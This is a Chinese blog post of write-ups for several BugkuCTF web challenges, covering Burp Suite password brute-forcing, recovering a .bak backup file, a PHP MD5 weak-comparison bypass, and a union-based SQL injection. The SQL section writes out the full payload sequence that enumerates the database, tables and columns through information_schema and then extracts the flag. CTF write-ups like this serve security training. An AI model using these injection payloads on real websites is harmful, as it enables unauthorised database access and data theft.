BugkuCTF-WEB部分题解（二）

最新推荐文章于 2024-08-03 16:17:07 发布

flying_bird2019

最新推荐文章于 2024-08-03 16:17:07 发布

阅读量568

点赞数 2

CC 4.0 BY-SA版权

文章标签： web

本文链接：https://blog.csdn.net/flying_bird2019/article/details/104709613

输入密码得到flag

这道题直接暴力破解
在使用Burp Suite时候设置完Number range 开始爆破出现错误Invalid number settings
百度得以下解决方法
在这里插入图片描述
解决问题后爆破得flag

备份是个好习惯

御剑扫描网站发现index.php.bak(后缀为.bak为备份文件)
访问** /index.php.bak **下载文件打开

审计代码

在这里插入图片描述

分析

1.根据代码原页面输出的是变量key1和key2 MD5后的值
2.绕过str_replace(‘key’,$str) 变量名可取‘kkeyey1’和’kkeyey2’
3.判断需借助php弱类型进行MD5碰撞
在这里插入图片描述

(两个变量的值MD5后均为0E开头，php处理进行弱类型比较得0=0，结果为真)

更多关于MD5碰撞
以上分析部分借鉴大佬题解

成绩单（SQL注入）

随便输入一个参数
在这里插入图片描述
猜测应该是按表的索引查询（select …where id=’’）
尝试联合注入
id = ’ union select 1,2,3,4# //2，3，4有返回
注入
id = ’ union select 1,2,3,database()# //得到数据库名skctf_flag

接下来获取该数据库中的表
id = ’ union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()# //得到两个表fl4g和sc
在这里插入图片描述
接下来获取fl4g表中的字段名
id = ’ union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=‘fl4g’# //敏感表名应加’ '否则应将其编码为十六进制(0x666c3467)绕过，得到字段skctf_flag

获取字段中的值
id = ’ union select 1,2,3,skctf_flag from fl4g# //得到flag
在这里插入图片描述
方法二使用sqlmap 详情